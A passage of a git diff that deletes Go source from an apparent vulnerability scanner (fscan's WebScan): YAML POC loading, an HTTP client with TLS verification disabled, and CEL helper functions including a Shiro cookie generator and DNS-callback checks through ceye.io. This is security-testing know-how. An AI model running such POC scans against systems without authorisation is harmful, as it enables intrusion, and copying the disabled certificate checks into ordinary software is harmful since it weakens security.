- // 执行搜索规则
- if rule.Search != "" {
- searchContent := GetHeader(resp.Headers) + string(resp.Body)
- result := doSearch(rule.Search, searchContent)
-
- if result != nil && len(result) > 0 {
- // 将搜索结果添加到变量映射
- for key, value := range result {
- variableMap[key] = value
- }
- } else {
- return false, nil
- }
- }
-
- // 执行CEL表达式
- out, err := Evaluate(env, rule.Expression, variableMap)
- if err != nil {
- if strings.Contains(err.Error(), "Syntax error") {
- common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err))
- }
- return false, err
- }
-
- // 检查表达式执行结果
- if fmt.Sprintf("%v", out) == "false" {
- return false, nil
- }
-
- return true, nil
-}
-
-// cloneRules 深度复制Rules结构体
-// 参数:
-// - tags: 原始Rules结构体
-// 返回: 复制后的新Rules结构体
-func cloneRules(tags Rules) Rules {
- return Rules{
- Method: tags.Method,
- Path: tags.Path,
- Body: tags.Body,
- Search: tags.Search,
- FollowRedirects: tags.FollowRedirects,
- Expression: tags.Expression,
- Headers: cloneMap(tags.Headers),
- Continue: tags.Continue,
- }
-}
-
-// cloneMap 深度复制字符串映射
-func cloneMap(tags map[string]string) map[string]string {
- if tags == nil {
- return nil
- }
- cloneTags := make(map[string]string, len(tags))
- for key, value := range tags {
- cloneTags[key] = value
- }
- return cloneTags
-}
-
-// evalset 执行CEL表达式并处理特殊类型结果
-func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
- out, err := Evaluate(env, expression, variableMap)
- if err != nil {
- variableMap[k] = expression
- return err, expression
- }
-
- // 根据不同类型处理输出
- switch value := out.Value().(type) {
- case *UrlType:
- variableMap[k] = UrlTypeToString(value)
- case int64:
- variableMap[k] = int(value)
- default:
- variableMap[k] = fmt.Sprintf("%v", out)
- }
-
- return nil, fmt.Sprintf("%v", variableMap[k])
-}
-
-// evalset1 执行CEL表达式的简化版本
-func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
- out, err := Evaluate(env, expression, variableMap)
- if err != nil {
- variableMap[k] = expression
- } else {
- variableMap[k] = fmt.Sprintf("%v", out)
- }
- return err, fmt.Sprintf("%v", variableMap[k])
-}
-
-// CheckInfoPoc 检查POC信息并返回别名
-func CheckInfoPoc(infostr string) string {
- for _, poc := range info.PocDatas {
- if strings.Contains(infostr, poc.Name) {
- return poc.Alias
- }
- }
- return ""
-}
-
-// GetHeader 将HTTP头转换为字符串格式
-func GetHeader(header map[string]string) string {
- var builder strings.Builder
- for name, values := range header {
- builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
- }
- builder.WriteString("\r\n")
- return builder.String()
-}
diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go
deleted file mode 100644
index d5be2f5..0000000
--- a/WebScan/lib/Client.go
+++ /dev/null
@@ -1,320 +0,0 @@
-package lib
-
-import (
- "context"
- "crypto/tls"
- "embed"
- "errors"
- "fmt"
- "github.com/shadow1ng/fscan/common"
- "github.com/shadow1ng/fscan/common/proxy"
- "gopkg.in/yaml.v2"
- "net"
- "net/http"
- "net/url"
- "os"
- "strings"
- "time"
-)
-
-// 全局HTTP客户端变量
-var (
- Client *http.Client // 标准HTTP客户端
- ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
- dialTimout = 5 * time.Second // 连接超时时间
- keepAlive = 5 * time.Second // 连接保持时间
-)
-
-// Inithttp 初始化HTTP客户端配置
-func Inithttp() {
- // 设置默认并发数
- if common.PocNum == 0 {
- common.PocNum = 20
- }
- // 设置默认超时时间
- if common.WebTimeout == 0 {
- common.WebTimeout = 5
- }
-
- // 初始化HTTP客户端
- err := InitHttpClient(common.PocNum, common.HttpProxy, time.Duration(common.WebTimeout)*time.Second)
- if err != nil {
- panic(err)
- }
-}
-
-// InitHttpClient 创建HTTP客户端
-func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
- type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
-
- // 配置基础连接参数
- dialer := &net.Dialer{
- Timeout: dialTimout,
- KeepAlive: keepAlive,
- }
-
- // 配置Transport参数
- tr := &http.Transport{
- DialContext: dialer.DialContext,
- MaxConnsPerHost: 5,
- MaxIdleConns: 0,
- MaxIdleConnsPerHost: ThreadsNum * 2,
- IdleConnTimeout: keepAlive,
- TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
- TLSHandshakeTimeout: 5 * time.Second,
- DisableKeepAlives: false,
- }
-
- // 配置Socks5代理
- if common.Socks5Proxy != "" {
- proxyConfig := &proxy.ProxyConfig{
- Type: proxy.ProxyTypeSOCKS5,
- Address: common.Socks5Proxy,
- Timeout: time.Second * 10,
- }
- proxyManager := proxy.NewProxyManager(proxyConfig)
- proxyDialer, err := proxyManager.GetDialer()
- if err != nil {
- return err
- }
- tr.DialContext = proxyDialer.DialContext
- } else if DownProxy != "" {
- // 处理其他代理配置
- if DownProxy == "1" {
- DownProxy = "http://127.0.0.1:8080"
- } else if DownProxy == "2" {
- DownProxy = "socks5://127.0.0.1:1080"
- } else if !strings.Contains(DownProxy, "://") {
- DownProxy = "http://127.0.0.1:" + DownProxy
- }
-
- // 验证代理类型
- if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
- return errors.New("不支持的代理类型")
- }
-
- // 解析代理URL
- u, err := url.Parse(DownProxy)
- if err != nil {
- return err
- }
- tr.Proxy = http.ProxyURL(u)
- }
-
- // 创建标准HTTP客户端
- Client = &http.Client{
- Transport: tr,
- Timeout: Timeout,
- }
-
- // 创建不跟随重定向的HTTP客户端
- ClientNoRedirect = &http.Client{
- Transport: tr,
- Timeout: Timeout,
- CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
- }
-
- return nil
-}
-
-// Poc 定义漏洞检测配置结构
-type Poc struct {
- Name string `yaml:"name"` // POC名称
- Set StrMap `yaml:"set"` // 单值配置映射
- Sets ListMap `yaml:"sets"` // 列表值配置映射
- Rules []Rules `yaml:"rules"` // 检测规则列表
- Groups RuleMap `yaml:"groups"` // 规则组映射
- Detail Detail `yaml:"detail"` // 漏洞详情
-}
-
-// MapSlice 用于解析YAML的通用映射类型
-type MapSlice = yaml.MapSlice
-
-// 自定义映射类型
-type (
- StrMap []StrItem // 字符串键值对映射
- ListMap []ListItem // 字符串键列表值映射
- RuleMap []RuleItem // 字符串键规则列表映射
-)
-
-// 映射项结构定义
-type (
- // StrItem 字符串键值对
- StrItem struct {
- Key string // 键名
- Value string // 值
- }
-
- // ListItem 字符串键列表值对
- ListItem struct {
- Key string // 键名
- Value []string // 值列表
- }
-
- // RuleItem 字符串键规则列表对
- RuleItem struct {
- Key string // 键名
- Value []Rules // 规则列表
- }
-)
-
-// UnmarshalYAML 实现StrMap的YAML解析接口
-func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
- // 临时使用MapSlice存储解析结果
- var tmp yaml.MapSlice
- if err := unmarshal(&tmp); err != nil {
- return err
- }
-
- // 转换为StrMap结构
- for _, one := range tmp {
- key, value := one.Key.(string), one.Value.(string)
- *r = append(*r, StrItem{key, value})
- }
-
- return nil
-}
-
-// UnmarshalYAML 实现RuleMap的YAML解析接口
-// 参数:
-// - unmarshal: YAML解析函数
-//
-// 返回:
-// - error: 解析错误
-func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
- // 使用MapSlice保持键的顺序
- var tmp1 yaml.MapSlice
- if err := unmarshal(&tmp1); err != nil {
- return err
- }
-
- // 解析规则内容
- var tmp = make(map[string][]Rules)
- if err := unmarshal(&tmp); err != nil {
- return err
- }
-
- // 按顺序转换为RuleMap结构
- for _, one := range tmp1 {
- key := one.Key.(string)
- value := tmp[key]
- *r = append(*r, RuleItem{key, value})
- }
- return nil
-}
-
-// UnmarshalYAML 实现ListMap的YAML解析接口
-// 参数:
-// - unmarshal: YAML解析函数
-//
-// 返回:
-// - error: 解析错误
-func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
- // 解析YAML映射
- var tmp yaml.MapSlice
- if err := unmarshal(&tmp); err != nil {
- return err
- }
-
- // 转换为ListMap结构
- for _, one := range tmp {
- key := one.Key.(string)
- var value []string
- // 将接口类型转换为字符串
- for _, val := range one.Value.([]interface{}) {
- v := fmt.Sprintf("%v", val)
- value = append(value, v)
- }
- *r = append(*r, ListItem{key, value})
- }
- return nil
-}
-
-// Rules 定义POC检测规则结构
-type Rules struct {
- Method string `yaml:"method"` // HTTP请求方法
- Path string `yaml:"path"` // 请求路径
- Headers map[string]string `yaml:"headers"` // 请求头
- Body string `yaml:"body"` // 请求体
- Search string `yaml:"search"` // 搜索模式
- FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
- Expression string `yaml:"expression"` // 匹配表达式
- Continue bool `yaml:"continue"` // 是否继续执行
-}
-
-// Detail 定义POC详情结构
-type Detail struct {
- Author string `yaml:"author"` // POC作者
- Links []string `yaml:"links"` // 相关链接
- Description string `yaml:"description"` // POC描述
- Version string `yaml:"version"` // POC版本
-}
-
-// LoadMultiPoc 加载多个POC文件
-func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
- var pocs []*Poc
- // 遍历选中的POC文件
- for _, f := range SelectPoc(Pocs, pocname) {
- if p, err := LoadPoc(f, Pocs); err == nil {
- pocs = append(pocs, p)
- } else {
- fmt.Printf("POC加载失败 %s: %v\n", f, err)
- }
- }
- return pocs
-}
-
-// LoadPoc 从内嵌文件系统加载单个POC
-func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
- p := &Poc{}
- // 读取POC文件内容
- yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
- if err != nil {
- fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
- return nil, err
- }
-
- // 解析YAML内容
- err = yaml.Unmarshal(yamlFile, p)
- if err != nil {
- fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
- return nil, err
- }
- return p, err
-}
-
-// SelectPoc 根据名称关键字选择POC文件
-func SelectPoc(Pocs embed.FS, pocname string) []string {
- entries, err := Pocs.ReadDir("pocs")
- if err != nil {
- fmt.Printf("读取POC目录失败: %v\n", err)
- }
-
- var foundFiles []string
- // 查找匹配关键字的POC文件
- for _, entry := range entries {
- if strings.Contains(entry.Name(), pocname) {
- foundFiles = append(foundFiles, entry.Name())
- }
- }
- return foundFiles
-}
-
-// LoadPocbyPath 从文件系统路径加载POC
-func LoadPocbyPath(fileName string) (*Poc, error) {
- p := &Poc{}
- // 读取POC文件内容
- data, err := os.ReadFile(fileName)
- if err != nil {
- fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
- return nil, err
- }
-
- // 解析YAML内容
- err = yaml.Unmarshal(data, p)
- if err != nil {
- fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
- return nil, err
- }
- return p, err
-}
diff --git a/WebScan/lib/Eval.go b/WebScan/lib/Eval.go
deleted file mode 100644
index 25e93c6..0000000
--- a/WebScan/lib/Eval.go
+++ /dev/null
@@ -1,795 +0,0 @@
-package lib
-
-import (
- "bytes"
- "compress/gzip"
- "crypto/md5"
- "encoding/base64"
- "encoding/hex"
- "fmt"
- "github.com/google/cel-go/cel"
- "github.com/google/cel-go/checker/decls"
- "github.com/google/cel-go/common/types"
- "github.com/google/cel-go/common/types/ref"
- "github.com/google/cel-go/interpreter/functions"
- "github.com/shadow1ng/fscan/common"
- exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
- "io"
- "math/rand"
- "net/http"
- "net/url"
- "regexp"
- "strconv"
- "strings"
- "time"
-)
-
-// NewEnv 创建一个新的 CEL 环境
-func NewEnv(c *CustomLib) (*cel.Env, error) {
- return cel.NewEnv(cel.Lib(c))
-}
-
-// Evaluate 评估 CEL 表达式
-func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
- // 空表达式默认返回 true
- if expression == "" {
- return types.Bool(true), nil
- }
-
- // 编译表达式
- ast, issues := env.Compile(expression)
- if issues.Err() != nil {
- return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
- }
-
- // 创建程序
- program, err := env.Program(ast)
- if err != nil {
- return nil, fmt.Errorf("程序创建错误: %w", err)
- }
-
- // 执行评估
- result, _, err := program.Eval(params)
- if err != nil {
- return nil, fmt.Errorf("表达式评估错误: %w", err)
- }
-
- return result, nil
-}
-
-// UrlTypeToString 将 TargetURL 结构体转换为字符串
-func UrlTypeToString(u *UrlType) string {
- var builder strings.Builder
-
- // 处理 scheme 部分
- if u.Scheme != "" {
- builder.WriteString(u.Scheme)
- builder.WriteByte(':')
- }
-
- // 处理 host 部分
- if u.Scheme != "" || u.Host != "" {
- if u.Host != "" || u.Path != "" {
- builder.WriteString("//")
- }
- if host := u.Host; host != "" {
- builder.WriteString(host)
- }
- }
-
- // 处理 path 部分
- path := u.Path
- if path != "" && path[0] != '/' && u.Host != "" {
- builder.WriteByte('/')
- }
-
- // 处理相对路径
- if builder.Len() == 0 {
- if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
- builder.WriteString("./")
- }
- }
- builder.WriteString(path)
-
- // 处理查询参数
- if u.Query != "" {
- builder.WriteByte('?')
- builder.WriteString(u.Query)
- }
-
- // 处理片段标识符
- if u.Fragment != "" {
- builder.WriteByte('#')
- builder.WriteString(u.Fragment)
- }
-
- return builder.String()
-}
-
-type CustomLib struct {
- envOptions []cel.EnvOption
- programOptions []cel.ProgramOption
-}
-
-func NewEnvOption() CustomLib {
- c := CustomLib{}
-
- c.envOptions = []cel.EnvOption{
- cel.Container("lib"),
- cel.Types(
- &UrlType{},
- &Request{},
- &Response{},
- &Reverse{},
- ),
- cel.Declarations(
- decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
- decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
- decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
- ),
- cel.Declarations(
- // functions
- decls.NewFunction("bcontains",
- decls.NewInstanceOverload("bytes_bcontains_bytes",
- []*exprpb.Type{decls.Bytes, decls.Bytes},
- decls.Bool)),
- decls.NewFunction("bmatches",
- decls.NewInstanceOverload("string_bmatches_bytes",
- []*exprpb.Type{decls.String, decls.Bytes},
- decls.Bool)),
- decls.NewFunction("md5",
- decls.NewOverload("md5_string",
- []*exprpb.Type{decls.String},
- decls.String)),
- decls.NewFunction("randomInt",
- decls.NewOverload("randomInt_int_int",
- []*exprpb.Type{decls.Int, decls.Int},
- decls.Int)),
- decls.NewFunction("randomLowercase",
- decls.NewOverload("randomLowercase_int",
- []*exprpb.Type{decls.Int},
- decls.String)),
- decls.NewFunction("randomUppercase",
- decls.NewOverload("randomUppercase_int",
- []*exprpb.Type{decls.Int},
- decls.String)),
- decls.NewFunction("randomString",
- decls.NewOverload("randomString_int",
- []*exprpb.Type{decls.Int},
- decls.String)),
- decls.NewFunction("base64",
- decls.NewOverload("base64_string",
- []*exprpb.Type{decls.String},
- decls.String)),
- decls.NewFunction("base64",
- decls.NewOverload("base64_bytes",
- []*exprpb.Type{decls.Bytes},
- decls.String)),
- decls.NewFunction("base64Decode",
- decls.NewOverload("base64Decode_string",
- []*exprpb.Type{decls.String},
- decls.String)),
- decls.NewFunction("base64Decode",
- decls.NewOverload("base64Decode_bytes",
- []*exprpb.Type{decls.Bytes},
- decls.String)),
- decls.NewFunction("urlencode",
- decls.NewOverload("urlencode_string",
- []*exprpb.Type{decls.String},
- decls.String)),
- decls.NewFunction("urlencode",
- decls.NewOverload("urlencode_bytes",
- []*exprpb.Type{decls.Bytes},
- decls.String)),
- decls.NewFunction("urldecode",
- decls.NewOverload("urldecode_string",
- []*exprpb.Type{decls.String},
- decls.String)),
- decls.NewFunction("urldecode",
- decls.NewOverload("urldecode_bytes",
- []*exprpb.Type{decls.Bytes},
- decls.String)),
- decls.NewFunction("substr",
- decls.NewOverload("substr_string_int_int",
- []*exprpb.Type{decls.String, decls.Int, decls.Int},
- decls.String)),
- decls.NewFunction("wait",
- decls.NewInstanceOverload("reverse_wait_int",
- []*exprpb.Type{decls.Any, decls.Int},
- decls.Bool)),
- decls.NewFunction("icontains",
- decls.NewInstanceOverload("icontains_string",
- []*exprpb.Type{decls.String, decls.String},
- decls.Bool)),
- decls.NewFunction("TDdate",
- decls.NewOverload("tongda_date",
- []*exprpb.Type{},
- decls.String)),
- decls.NewFunction("shirokey",
- decls.NewOverload("shiro_key",
- []*exprpb.Type{decls.String, decls.String},
- decls.String)),
- decls.NewFunction("startsWith",
- decls.NewInstanceOverload("startsWith_bytes",
- []*exprpb.Type{decls.Bytes, decls.Bytes},
- decls.Bool)),
- decls.NewFunction("istartsWith",
- decls.NewInstanceOverload("startsWith_string",
- []*exprpb.Type{decls.String, decls.String},
- decls.Bool)),
- decls.NewFunction("hexdecode",
- decls.NewInstanceOverload("hexdecode",
- []*exprpb.Type{decls.String},
- decls.Bytes)),
- ),
- }
- c.programOptions = []cel.ProgramOption{
- cel.Functions(
- &functions.Overload{
- Operator: "bytes_bcontains_bytes",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- v1, ok := lhs.(types.Bytes)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
- }
- v2, ok := rhs.(types.Bytes)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
- }
- return types.Bool(bytes.Contains(v1, v2))
- },
- },
- &functions.Overload{
- Operator: "string_bmatches_bytes",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- v1, ok := lhs.(types.String)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
- }
- v2, ok := rhs.(types.Bytes)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
- }
- ok, err := regexp.Match(string(v1), v2)
- if err != nil {
- return types.NewErr("%v", err)
- }
- return types.Bool(ok)
- },
- },
- &functions.Overload{
- Operator: "md5_string",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.String)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
- }
- return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
- },
- },
- &functions.Overload{
- Operator: "randomInt_int_int",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- from, ok := lhs.(types.Int)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
- }
- to, ok := rhs.(types.Int)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
- }
- min, max := int(from), int(to)
- return types.Int(rand.Intn(max-min) + min)
- },
- },
- &functions.Overload{
- Operator: "randomLowercase_int",
- Unary: func(value ref.Val) ref.Val {
- n, ok := value.(types.Int)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
- }
- return types.String(randomLowercase(int(n)))
- },
- },
- &functions.Overload{
- Operator: "randomUppercase_int",
- Unary: func(value ref.Val) ref.Val {
- n, ok := value.(types.Int)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
- }
- return types.String(randomUppercase(int(n)))
- },
- },
- &functions.Overload{
- Operator: "randomString_int",
- Unary: func(value ref.Val) ref.Val {
- n, ok := value.(types.Int)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
- }
- return types.String(randomString(int(n)))
- },
- },
- &functions.Overload{
- Operator: "base64_string",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.String)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
- }
- return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
- },
- },
- &functions.Overload{
- Operator: "base64_bytes",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.Bytes)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
- }
- return types.String(base64.StdEncoding.EncodeToString(v))
- },
- },
- &functions.Overload{
- Operator: "base64Decode_string",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.String)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
- }
- decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
- if err != nil {
- return types.NewErr("%v", err)
- }
- return types.String(decodeBytes)
- },
- },
- &functions.Overload{
- Operator: "base64Decode_bytes",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.Bytes)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
- }
- decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
- if err != nil {
- return types.NewErr("%v", err)
- }
- return types.String(decodeBytes)
- },
- },
- &functions.Overload{
- Operator: "urlencode_string",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.String)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
- }
- return types.String(url.QueryEscape(string(v)))
- },
- },
- &functions.Overload{
- Operator: "urlencode_bytes",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.Bytes)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
- }
- return types.String(url.QueryEscape(string(v)))
- },
- },
- &functions.Overload{
- Operator: "urldecode_string",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.String)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
- }
- decodeString, err := url.QueryUnescape(string(v))
- if err != nil {
- return types.NewErr("%v", err)
- }
- return types.String(decodeString)
- },
- },
- &functions.Overload{
- Operator: "urldecode_bytes",
- Unary: func(value ref.Val) ref.Val {
- v, ok := value.(types.Bytes)
- if !ok {
- return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
- }
- decodeString, err := url.QueryUnescape(string(v))
- if err != nil {
- return types.NewErr("%v", err)
- }
- return types.String(decodeString)
- },
- },
- &functions.Overload{
- Operator: "substr_string_int_int",
- Function: func(values ...ref.Val) ref.Val {
- if len(values) == 3 {
- str, ok := values[0].(types.String)
- if !ok {
- return types.NewErr("invalid string to 'substr'")
- }
- start, ok := values[1].(types.Int)
- if !ok {
- return types.NewErr("invalid start to 'substr'")
- }
- length, ok := values[2].(types.Int)
- if !ok {
- return types.NewErr("invalid length to 'substr'")
- }
- runes := []rune(str)
- if start < 0 || length < 0 || int(start+length) > len(runes) {
- return types.NewErr("invalid start or length to 'substr'")
- }
- return types.String(runes[start : start+length])
- } else {
- return types.NewErr("too many arguments to 'substr'")
- }
- },
- },
- &functions.Overload{
- Operator: "reverse_wait_int",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- reverse, ok := lhs.Value().(*Reverse)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
- }
- timeout, ok := rhs.Value().(int64)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
- }
- return types.Bool(reverseCheck(reverse, timeout))
- },
- },
- &functions.Overload{
- Operator: "icontains_string",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- v1, ok := lhs.(types.String)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
- }
- v2, ok := rhs.(types.String)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
- }
- // 不区分大小写包含
- return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
- },
- },
- &functions.Overload{
- Operator: "tongda_date",
- Function: func(value ...ref.Val) ref.Val {
- return types.String(time.Now().Format("0601"))
- },
- },
- &functions.Overload{
- Operator: "shiro_key",
- Binary: func(key ref.Val, mode ref.Val) ref.Val {
- v1, ok := key.(types.String)
- if !ok {
- return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
- }
- v2, ok := mode.(types.String)
- if !ok {
- return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
- }
- cookie := GetShrioCookie(string(v1), string(v2))
- if cookie == "" {
- return types.NewErr("%v", "key b64decode failed")
- }
- return types.String(cookie)
- },
- },
- &functions.Overload{
- Operator: "startsWith_bytes",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- v1, ok := lhs.(types.Bytes)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
- }
- v2, ok := rhs.(types.Bytes)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
- }
- // 不区分大小写包含
- return types.Bool(bytes.HasPrefix(v1, v2))
- },
- },
- &functions.Overload{
- Operator: "startsWith_string",
- Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
- v1, ok := lhs.(types.String)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
- }
- v2, ok := rhs.(types.String)
- if !ok {
- return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
- }
- // 不区分大小写包含
- return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
- },
- },
- &functions.Overload{
- Operator: "hexdecode",
- Unary: func(lhs ref.Val) ref.Val {
- v1, ok := lhs.(types.String)
- if !ok {
- return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
- }
- out, err := hex.DecodeString(string(v1))
- if err != nil {
- return types.ValOrErr(lhs, "hexdecode error: %v", err)
- }
- // 不区分大小写包含
- return types.Bytes(out)
- },
- },
- ),
- }
- return c
-}
-
-// CompileOptions 返回环境编译选项
-func (c *CustomLib) CompileOptions() []cel.EnvOption {
- return c.envOptions
-}
-
-// ProgramOptions 返回程序运行选项
-func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
- return c.programOptions
-}
-
-// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
-func (c *CustomLib) UpdateCompileOptions(args StrMap) {
- for _, item := range args {
- key, value := item.Key, item.Value
-
- // 根据函数前缀确定变量类型
- var declaration *exprpb.Decl
- switch {
- case strings.HasPrefix(value, "randomInt"):
- // randomInt 函数返回整型
- declaration = decls.NewIdent(key, decls.Int, nil)
- case strings.HasPrefix(value, "newReverse"):
- // newReverse 函数返回 Reverse 对象
- declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
- default:
- // 默认声明为字符串类型
- declaration = decls.NewIdent(key, decls.String, nil)
- }
-
- c.envOptions = append(c.envOptions, cel.Declarations(declaration))
- }
-}
-
-// 初始化随机数生成器
-var randSource = rand.New(rand.NewSource(time.Now().Unix()))
-
-// randomLowercase 生成指定长度的小写字母随机字符串
-func randomLowercase(n int) string {
- const lowercase = "abcdefghijklmnopqrstuvwxyz"
- return RandomStr(randSource, lowercase, n)
-}
-
-// randomUppercase 生成指定长度的大写字母随机字符串
-func randomUppercase(n int) string {
- const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
- return RandomStr(randSource, uppercase, n)
-}
-
-// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
-func randomString(n int) string {
- const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
- return RandomStr(randSource, charset, n)
-}
-
-// reverseCheck 检查 DNS 记录是否存在
-func reverseCheck(r *Reverse, timeout int64) bool {
- // 检查必要条件
- if ceyeApi == "" || r.Domain == "" || !common.DnsLog {
- return false
- }
-
- // 等待指定时间
- time.Sleep(time.Second * time.Duration(timeout))
-
- // 提取子域名
- sub := strings.Split(r.Domain, ".")[0]
-
- // 构造 API 请求 TargetURL
- apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
- ceyeApi, sub)
-
- // 创建并发送请求
- req, _ := http.NewRequest("GET", apiURL, nil)
- resp, err := DoRequest(req, false)
- if err != nil {
- return false
- }
-
- // 检查响应内容
- hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
- isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
-
- if hasData && isOK {
- fmt.Println(apiURL)
- return true
- }
- return false
-}
-
-// RandomStr 生成指定长度的随机字符串
-func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
- const (
- // 用 6 位比特表示一个字母索引
- letterIdxBits = 6
- // 生成掩码:000111111
- letterIdxMask = 1<= 0; {
- // 当可用的随机位用完时,重新获取随机数
- if remain == 0 {
- cache, remain = randSource.Int63(), letterIdxMax
- }
-
- // 获取字符集中的随机索引
- if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
- randBytes[i] = letterBytes[idx]
- i--
- }
-
- // 右移已使用的位,更新计数器
- cache >>= letterIdxBits
- remain--
- }
-
- return string(randBytes)
-}
-
-// DoRequest 执行 HTTP 请求
-func DoRequest(req *http.Request, redirect bool) (*Response, error) {
- // 处理请求头
- if req.Body != nil && req.Body != http.NoBody {
- // 设置 Content-Length
- req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
-
- // 如果未指定 Content-Type,设置默认值
- if req.Header.Get("Content-Type") == "" {
- req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
- }
- }
-
- // 执行请求
- var (
- oResp *http.Response
- err error
- )
-
- if redirect {
- oResp, err = Client.Do(req)
- } else {
- oResp, err = ClientNoRedirect.Do(req)
- }
-
- if err != nil {
- return nil, fmt.Errorf("请求执行失败: %w", err)
- }
- defer oResp.Body.Close()
-
- // 解析响应
- resp, err := ParseResponse(oResp)
